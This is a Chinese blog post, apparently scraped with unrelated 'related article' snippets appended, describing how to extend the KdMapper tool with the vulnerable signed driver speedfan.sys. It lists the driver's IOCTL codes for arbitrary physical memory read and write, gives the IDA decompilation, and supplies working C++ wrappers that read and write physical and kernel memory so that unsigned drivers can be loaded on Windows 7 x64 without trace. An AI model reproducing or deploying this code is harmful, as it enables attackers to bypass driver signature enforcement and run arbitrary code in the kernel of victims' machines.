当前位置: 首页 > news >正文

KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称speedfan.sys 
时间戳50DF59B7
MD50FFE35F0B0CD5A324BBE22F02569AE3B
文件版本2.3.11.0
设备名称        \\.\SpeedFan
读物理内存0x9C402428
写物理内存0x9C40242C
Windows 7支持
Windows 10不支持
Windows 11不支持

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{unsigned __int64 v2; // raxv2 = BugCheckParameter2;if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64){v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;if (!v2)v2 = 0x2B992DDFA232i64;BugCheckParameter2 = v2;}BugCheckParameter3 = ~v2;return CreateDevice(DriverObject, RegistryPath);
}

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{NTSTATUS result; // eax_UNICODE_STRING* v5; // rdisize_t v6; // rax__int64 v7; // r8NTSTATUS v8; // eaxNTSTATUS v9; // edi__int64 v10; // [rsp+20h] [rbp-38h]struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREFRtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);if (result >= 0){DeviceObject->Flags |= 4u;v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;*(_DWORD*)&v5[2].Length = 0;*(_DWORD*)(&v5[2].MaximumLength + 1) = 0;LODWORD(v5[2].Buffer) = 0;v5[1].MaximumLength = RegistryPath->MaximumLength;v6 = RegistryPath->Length;v5[1].Buffer = &v5[7].Length;v5[1].Length = v6;memmove(&v5[7], RegistryPath->Buffer, v6);sub_175B4(v5);if ((int)sub_176C8(v5) >= 0){v7 = *(unsigned int*)&v5[2].Length;if (_bittest((const int*)&v7, 0x1Du)){LODWORD(v10) = v5[2].Buffer;DbgPrint("SpeedFan %s  Built Dec 29 2012 21:59:34  Debug %08X  Break %08X  Setup %08X\n",aX20311,v7,*(unsigned int*)(&v5[2].MaximumLength + 1),v10);}}v8 = IoCreateSymbolicLink(v5, &DestinationString);v9 = v8;if (v8 >= 0 || v8 == 0xC0000035){DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;result = 0;}else{IoDeleteDevice(DeviceObject);result = v9;}}return result;
}

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{_IO_STACK_LOCATION* pIosp; // raxint ntStatus; // ebxPHYSICAL_ADDRESS* pMemoryInfo; // rdiunsigned int nInputBufferLength; // er12SIZE_T nOutputBufferLength; // r13unsigned int nIoControlCode; // esiLONGLONG PhysicalAddressV31; // rbxPVOID pMappedIoSpaceV32; // raxvoid* pMappedIoSpaceV33; // r14LONGLONG PhysicalAddressV34; // rbxPVOID pMappedIoSpaceV35; // raxvoid* pMappedIoSpaceV36; // r14void* Dst; // [rsp+20h] [rbp-D8h]LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]void* PhysicalAddress; // [rsp+100h] [rbp+8h]IRP* Irp; // [rsp+108h] [rbp+10h]Irp = pIrp;pIosp = pIrp->Tail.Overlay.CurrentStackLocation;pIrp->IoStatus.Information = 0i64;ntStatus = 0xC0000023;pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;......switch (nIoControlCode){case 0x9C402428:if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存{PhysicalAddressV34 = pMemoryInfo->QuadPart;PhysicalAddressV53 = pMemoryInfo->QuadPart;pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);pMappedIoSpaceV36 = pMappedIoSpaceV35;*(_QWORD*)MajorVersion = pMappedIoSpaceV35;if (pMappedIoSpaceV35){if (_bittest(v55, 0xEu)){LODWORD(v47) = nOutputBufferLength;DbgPrint("IOCTL_PHYMEM_READ       ofo %p  pad %08X_%08X  vad %p  siz %06X\n",v51,HIDWORD(PhysicalAddressV53),(unsigned int)PhysicalAddressV34,pMappedIoSpaceV35,v47);}memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);Irp->IoStatus.Information = nOutputBufferLength;ntStatus = 0;v59 = 0;MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);}else{ntStatus = 0xC0000088;}}goto LABEL_145;case 0x9C40242C:if (nInputBufferLength > 8)         // 写物理内存{PhysicalAddressV31 = pMemoryInfo->QuadPart;PhysicalAddressV52 = pMemoryInfo->QuadPart;nInputBufferLength -= 8;pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);pMappedIoSpaceV33 = pMappedIoSpaceV32;*(_QWORD*)MajorVersion = pMappedIoSpaceV32;if (pMappedIoSpaceV32){if (_bittest(v55, 0xEu)){LODWORD(v47) = nInputBufferLength;DbgPrint("IOCTL_PHYMEM_WRITE      ofo %p  pad %08X_%08X  vad %p  siz %06X\n",v51,HIDWORD(PhysicalAddressV52),(unsigned int)PhysicalAddressV31,pMappedIoSpaceV32,v47);}memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);Irp->IoStatus.Information = 0i64;ntStatus = 0;v59 = 0;MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);}else{ntStatus = 0xC0000088;}}goto LABEL_145;LABEL_145:if (ntStatus >= 0)goto LABEL_149;v5 = v51;goto LABEL_147;}......LABEL_149:Irp->IoStatus.Status = ntStatus;IofCompleteRequest(Irp, 0);return (unsigned int)ntStatus;
}

        其中 0x9C402428 为读取物理内存, 0x9C40242C 为写入物理内存。

3.4 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。

4. 代码实现

4.1 .h文件

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif#define SPEEDFAN_DEVICE_TYPE          (DWORD)0x9C40
#define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x90A
#define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY      \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
#define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY    \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C

4.2 .c文件

NTSTATUS sokno_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus == STATUS_PENDING) {ntStatus = NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus = ioStatus;return ntStatus;
}BOOL sokno_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,&ioStatus);bResult = NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult = FALSE;DWORD dwError = ERROR_SUCCESS;__try {if (DoWrite) {PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);if (pWriteInfo){pWriteInfo->QuadPart = PhysicalAddress;RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);if (!bResult){Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");}}else{Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");}}else {PHYSICAL_ADDRESS address;address.QuadPart = PhysicalAddress;bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);if (!bResult){Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult = FALSE;dwError = GetExceptionCode();Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);}SetLastError(dwError);return bResult;
}BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。

5. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

6.特别提示

  使用 speedfan.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

相关文章:

KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)

1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动&#xff0c;本文是利用其它漏洞&#xff08;参考《【转载】利用签名驱动漏洞加载未签名驱动》&#xff09;做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称spee…...

MATLAB算法实战应用案例精讲-【图像处理】计算机视觉

目录 前言 几个高频面试题目 计算机视觉与图像处理、模式识别、机器学习学科之间的关系 计算机视觉和机器人视觉区别与联系...

docker应用的缓存 docker缓存机制

Docker镜像用作Docker执行程序中的主映像。它们是容器的蓝图&#xff0c;提供了有关如何生成容器的说明。在本文中&#xff0c;我将介绍一些经常被忽视的概念&#xff0c;这些概念将有助于优化Docker镜像开发和构建过程。 让我们从Docker构建过程的简短描述开始。这是通过使用…...

借助 ZooKeeper 生成唯一 UUID

ZooKeeper是一个分布式协调服务&#xff0c;它主要用于在分布式系统中管理和协调各种资源。它本身并不提供生成唯一UUID的功能&#xff0c;但你可以借助ZooKeeper来实现生成唯一UUID的机制。 下面是一种基于ZooKeeper的方法来生成唯一UUID的示例&#xff1a; 在ZooKeeper中创建…...

Redis哨兵机制原理

Redis哨兵机制可以保证Redis服务的高可用性。它通过启动一个或多个哨兵进程&#xff0c;监控Redis主服务器是否宕机&#xff0c;如果宕机&#xff0c;哨兵进程会自动将一个从服务器&#xff08;Slave&#xff09;升级为主服务器&#xff08;Master&#xff09;&#xff0c;并通…...

Maven Web应用

目录 创建 Web 应用 构建 Web 应用 部署 Web 应用 测试 Web 应用 本章节我们将学习如何使用版本控制系统 Maven 来管理一个基于 web 的项目&#xff0c;如何创建、构建、部署以及运行一个 web 应用。 创建 Web 应用 我们可以使用 maven-archetype-webapp 插件来创建一个简…...

考古:MFC界面的自适应缩放(代码示例)

MFC窗体的控件的自适应缩放早期VS开发环境是不支持的&#xff0c;后来VS开发环境提供了支持但也简单&#xff0c;或者固定的缩放比例不符合要求。我一向坚持一个理念&#xff1a;“不支持缩放的窗口不是好窗口”&#xff0c;所以需要有一个自定义的缩放处理。机制不复杂&#x…...

计算机网络 | 物理层

计算机网络 | 物理层 计算机网络 | 物理层基本概念数据通信基本知识&#xff08;一&#xff09;一个数据通信流程的例子数据通信相关术语三种通信方式数据传输方式串行传输和并行传输同步传输和异步传输 小结 数据通信基本知识&#xff08;二&#xff09;码元&#xff08;Symbo…...

Centos下编译ffmpeg动态库

文章目录 一、下载ffmpeg安装包二、编译ffmpeg三、安装yasm 一、下载ffmpeg安装包 下载包 wget http://www.ffmpeg.org/releases/ffmpeg-4.4.tar.gz解压 tar -zxvf ffmpeg-4.4.tar.gz二、编译ffmpeg 进入解压的目录 cd ffmpeg-4.4编译动态库 ./configure --enable-shared…...

深度学习:UserWarning: The parameter ‘pretrained‘ is deprecated since 0.13..解决办法

深度学习&#xff1a;UserWarning: The parameter ‘pretrained’ is deprecated since 0.13 and may be removed in the future, please use ‘weights’ instead. 解决办法 1 报错警告&#xff1a; pytorch版本&#xff1a;0.14.1 在利用pytorch中的预训练模型时&#xff0…...

leetcode-279. 完全平方数

1. 题目链接 链接: 题目链接 2. 解答 #include <stdio.h> #include <stdlib.h> #include <stdbool.h>bool issquare(int n) {if (n 1 || n 4) return true;if (n 2 || n 3) return false;for (int i 3; i < n/2; i ) {if (n i*i) return true;}…...

MySQL常用指令

创建新的数据库 1、创建新的数据库 create database YOLO;显示本地创建的数据库 2、显示本地创建的数据库 show databases;进入新创建的数据库 3、进入新创建的数据库 use YOLO;在新创建的数据库内添加表&#xff08;表内插入内容&#xff09; 4、创建表并添加表内容 creat…...

Pulsar 之架构,客户端以及多区域容灾

Pulsar 之架构&#xff0c;客户端以及多区域容灾 架构BrokersClusters元数据存储配置存储区持久存储Apache BookKeeperLedgersLedgers读一致性托管Ledgers 日志存储 Pulsar 代理服务发现 Pulsar client(客户端)客户端设置阶段Reader interface 多区域容灾备份(GEO-REPLICATION)…...

【SQL】MySQL中的索引,索引优化

索引是存储引擎用来快速查询记录的一种数据结构&#xff0c;按实现方式主要分为Hash索引和B树索引。 按功能划分&#xff0c;主要有以下几类 单列索引指的是对某一列单独建立索引&#xff0c;一张表中可以有多个单列索引 1. 单列索引 - 普通索引 创建索引&#xff08;关键字i…...

uniapp 跳转到指定位置

this.$router.push({name: Demo,params: {id: 123} })这样就实现了页面的跳转&#xff0c;并且将参数id传递给了Demo组件。 如果需要跳转到当前页面的不同位置&#xff0c;我们可以使用锚点来实现。锚点是一个HTML元素的标识符&#xff0c;可以用于定位和跳转到该元素。例如&a…...

基于java的图书馆预约座位系统的设计与实现(部署+源码+LW)

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于java的图书馆预约座…...

golang 拉取 bitbucket.org 私有库

以 bitbucket.org 平台和mac电脑为例 前置条件私库需要给你账号权限&#xff0c;可拉取的权限&#xff0c;否则无法进行正常拉取 我们采用ssh方式&#xff0c;需要在本地生成对应的 rsa 的公钥和私钥&#xff0c;将公钥配置如下图&#xff1a; 在 .ssh/config 写入你的配置 H…...

Sub-1G射频收发器soc芯片 UM2080F32 低功耗 32 位 IoTP

UM2080F32是基于 ARM Cortex M0 内核的超低功耗、高性能的、单片集成 (G)FSK/OOK 无线收发机的 32 位SOC 芯片。 UM2080F32 工作于200MHz~960MHz 范围内&#xff0c;支持灵活可设的数据包格式&#xff0c;支持自动应答和自动重发功能&#xff0c;支持跳频操作&#xff0c;支持 …...

国际减灾日 | 智慧减灾——百分点科技的数据科学视角

国际减轻自然灾害日简称“国际减灾日”&#xff0c;由联合国于1989年设立&#xff0c;旨在关注全球灾害风险&#xff0c;呼吁各国政府、组织和个人积极参与减灾工作&#xff0c;以保护人民生命财产安全。今年10月13日是第34个国际减灾日&#xff0c;主题为“共同打造有韧性的未…...

ChatGLM流式输出的报错修复

ChatGLM中的openai_api.py中的代码如下&#xff1a; # codingutf-8 # Implements API for ChatGLM2-6B in OpenAIs format. (https://platform.openai.com/docs/api-reference/chat) # Usage: python openai_api.py # Visit http://localhost:8000/docs for documents.import …...

可视化拖拽组件库终极指南:响应式设计与适配方案完整解析

可视化拖拽组件库终极指南&#xff1a;响应式设计与适配方案完整解析 【免费下载链接】visual-drag-demo 一个低代码&#xff08;可视化拖拽&#xff09;教学项目 项目地址: https://gitcode.com/gh_mirrors/vi/visual-drag-demo 可视化拖拽组件库是现代低代码开发平台的…...

UnityXR实战:用Pico实现物体抓取与场景重置(含材质交互技巧)

UnityXR实战&#xff1a;用Pico实现物体抓取与场景重置&#xff08;含材质交互技巧&#xff09; 在虚拟现实开发领域&#xff0c;交互体验的质量往往决定了产品的成败。Pico作为国内领先的VR设备&#xff0c;结合UnityXR框架&#xff0c;为开发者提供了强大的工具链来实现沉浸式…...

MAX7319 GPIO输入扩展库:硬件边沿检测与中断驱动实践

1. 项目概述iotec_MAX7319 是一款面向嵌入式系统的轻量级 C 驱动库&#xff0c;专为 Maxim Integrated&#xff08;现属 Analog Devices&#xff09;推出的 IC 接口 GPIO 扩展芯片 MAX7319 设计。该芯片并非通用型端口扩展器&#xff0c;而是一款带可屏蔽边沿检测功能的专用输入…...

用Python和MATLAB/Simulink复现车辆二自由度模型:从理论公式到仿真验证(附代码)

从理论到实践&#xff1a;Python与MATLAB/Simulink实现车辆二自由度动力学仿真 在自动驾驶和车辆工程领域&#xff0c;理解车辆动力学模型是开发先进控制算法的基础。二自由度模型作为最简单的车辆动力学模型之一&#xff0c;能够有效描述车辆的侧向和横摆运动特性。本文将带您…...

树莓派+SocketCAN实战:手把手教你用CanFestival控制伺服电机(附完整配置文件)

树莓派SocketCAN实战&#xff1a;手把手教你用CanFestival控制伺服电机&#xff08;附完整配置文件&#xff09; 在工业自动化和机器人控制领域&#xff0c;CANopen协议因其高可靠性和实时性成为伺服电机控制的首选方案。本文将带你用树莓派这一低成本硬件平台&#xff0c;结合…...

告别电台收听难题:foobox-cn网络电台收听方案

告别电台收听难题&#xff1a;foobox-cn网络电台收听方案 【免费下载链接】foobox-cn DUI 配置 for foobar2000 项目地址: https://gitcode.com/GitHub_Trending/fo/foobox-cn foobox-cn作为foobar2000的DUI皮肤&#xff08;桌面用户界面定制方案&#xff09;&#xff0…...

Phi-3-mini-128k-instruct与智能车仿真:生成自然语言控制逻辑与调试报告

Phi-3-mini-128k-instruct与智能车仿真&#xff1a;生成自然语言控制逻辑与调试报告 最近在折腾一个智能车仿真项目&#xff0c;发现一个挺有意思的事儿&#xff1a;让AI来帮忙写控制逻辑和看报告&#xff0c;效率提升了不少。以前我们得手动把“绕过前面那个障碍物&#xff0…...

跨平台开发终极对决:uniapp、uniapp-X、React Native 与 Flutter 全面解析

作者&#xff1a;前端组件开发 发布日期&#xff1a;2026年2月20日 关键词&#xff1a;跨平台开发、uniapp、uniapp-X、React Native、Flutter、前端框架选型 在移动应用开发日益多元化的今天&#xff0c;如何在保证用户体验的同时提升开发效率&#xff0c;成为每个团队必须面对…...

重庆银行:万亿新贵的高光与隐忧

对于重庆银行而言&#xff0c;2026年3月24日是一个值得载入史册的日子。就在这一天&#xff0c;该行正式发布了2025年年度报告&#xff0c;其资产规模突破以往周期&#xff0c;使其成功跻身“万亿级城商行俱乐部”。其中&#xff0c;该行的营收与净利润时隔五年再次实现了“双十…...

告别Vue组件匿名时代:用vite-plugin-vue-setup-extend给你的<script setup>加个名字

为Vue组件正名&#xff1a;vite-plugin-vue-setup-extend深度整合指南 在Vue 3的组合式API开发中&#xff0c;<script setup>语法糖以其简洁性赢得了开发者的青睐。但当你打开Vue DevTools准备调试时&#xff0c;满屏的"Anonymous Component"是否曾让你感到困扰…...